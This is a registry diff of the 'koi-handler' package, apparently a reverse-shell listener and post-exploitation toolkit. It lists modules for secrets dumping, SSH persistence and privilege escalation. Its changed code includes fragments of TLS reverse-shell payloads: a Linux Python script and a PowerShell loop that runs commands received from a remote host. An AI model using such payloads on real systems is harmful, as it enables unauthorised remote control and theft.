koi-handler 0.12.0__tar.gz → 0.12.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {koi_handler-0.12.0/src/koi_handler.egg-info → koi_handler-0.12.1}/PKG-INFO +1 -1
- {koi_handler-0.12.0 → koi_handler-0.12.1}/pyproject.toml +1 -1
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/listener.py +9 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/tls.py +3 -4
- {koi_handler-0.12.0 → koi_handler-0.12.1/src/koi_handler.egg-info}/PKG-INFO +1 -1
- {koi_handler-0.12.0 → koi_handler-0.12.1}/LICENSE +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/setup.cfg +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/main.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/mcp/__init__.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/mcp/schema.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/mcp/server.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/blueprint.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/download.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/duplicate.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/get_processes.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/get_users.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/ligolo.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/loader.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/network_enum.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/peas.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/populate_win.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/secrets_dump.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/sharphound.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/ssh_persist.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/sysinfo.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/upload.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/upload64.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/wifi_enum.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/winscalate.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/session.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/__init__.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/agent_payload.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/__init__.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/__main__.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/agent.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/packet.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/proxy.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/stack.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/tcp.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/transport.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/tun.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/manager.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/__init__.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/bash_obfuscate.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/cache.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/cli.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/config.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/config_ui.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/connect/__init__.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/connect/base.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/connect/ssh.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/constants.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/detect.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/interact.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/logger.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/models.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/obfuscate_ui.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/payloads.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/powerupgrade.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/ps_obfuscate.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/tcp.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/terminal.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/ui.py +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi_handler.egg-info/SOURCES.txt +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi_handler.egg-info/dependency_links.txt +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi_handler.egg-info/entry_points.txt +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi_handler.egg-info/requires.txt +0 -0
- {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi_handler.egg-info/top_level.txt +0 -0
|
@@ -776,6 +776,10 @@ class Listener:
|
|
|
776
776
|
return
|
|
777
777
|
|
|
778
778
|
if sess.os_type in ("windows_cmd", "windows_ps"):
|
|
779
|
+
if sess.encrypted:
|
|
780
|
+
notify('warning', f"Upgrading a Windows session replaces the connection. TLS encryption will be lost.")
|
|
781
|
+
if not yesno("Proceed anyway?"):
|
|
782
|
+
return
|
|
779
783
|
upgrade_windows_conptyshell(
|
|
780
784
|
sess, self._sessions, self.port,
|
|
781
785
|
self._pending_conpty, self._conpty_staging, self._conpty_lock,
|
|
@@ -852,6 +856,11 @@ class Listener:
|
|
|
852
856
|
sid = sess.id
|
|
853
857
|
if sess.encrypted:
|
|
854
858
|
notify('warning', f"Session {accent(f'#{sid}')} is already encrypted.")
|
|
859
|
+
if not yesno("Do you want to try encrypting again?"):
|
|
860
|
+
return
|
|
861
|
+
|
|
862
|
+
if sess.os_type in ("windows_cmd", "windows_ps") and sess.upgraded:
|
|
863
|
+
notify('error', f"Cannot encrypt an upgraded Windows session (ConPtyShell uses its own connection).")
|
|
855
864
|
return
|
|
856
865
|
|
|
857
866
|
if self._ssl_ctx is None:
|
|
@@ -61,8 +61,6 @@ def try_tls_handshake(
|
|
|
61
61
|
return None
|
|
62
62
|
|
|
63
63
|
|
|
64
|
-
# ---------------------------------------------------------------- payloads
|
|
65
|
-
|
|
66
64
|
def encrypt_payload_linux(host: str, port: int, token: str) -> str:
|
|
67
65
|
script = (
|
|
68
66
|
"import ssl,socket,subprocess,os,select,signal,pty\n"
|
|
@@ -106,8 +104,9 @@ def encrypt_payload_windows(host: str, port: int, token: str) -> str:
|
|
|
106
104
|
f"$r=New-Object IO.StreamReader($ssl);"
|
|
107
105
|
f"while($c.Connected){{"
|
|
108
106
|
f"$cmd=$r.ReadLine();"
|
|
109
|
-
f"if(
|
|
110
|
-
f"$
|
|
107
|
+
f"if($null -eq $cmd){{break}}"
|
|
108
|
+
f"if($cmd.Length -eq 0){{continue}}"
|
|
109
|
+
f"$out=try{{Invoke-Expression $cmd 2>&1|Out-String}}catch{{$_.Exception.Message}};"
|
|
111
110
|
f"$w.Write($out)}}"
|
|
112
111
|
f"$c.Close()"
|
|
113
112
|
)
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|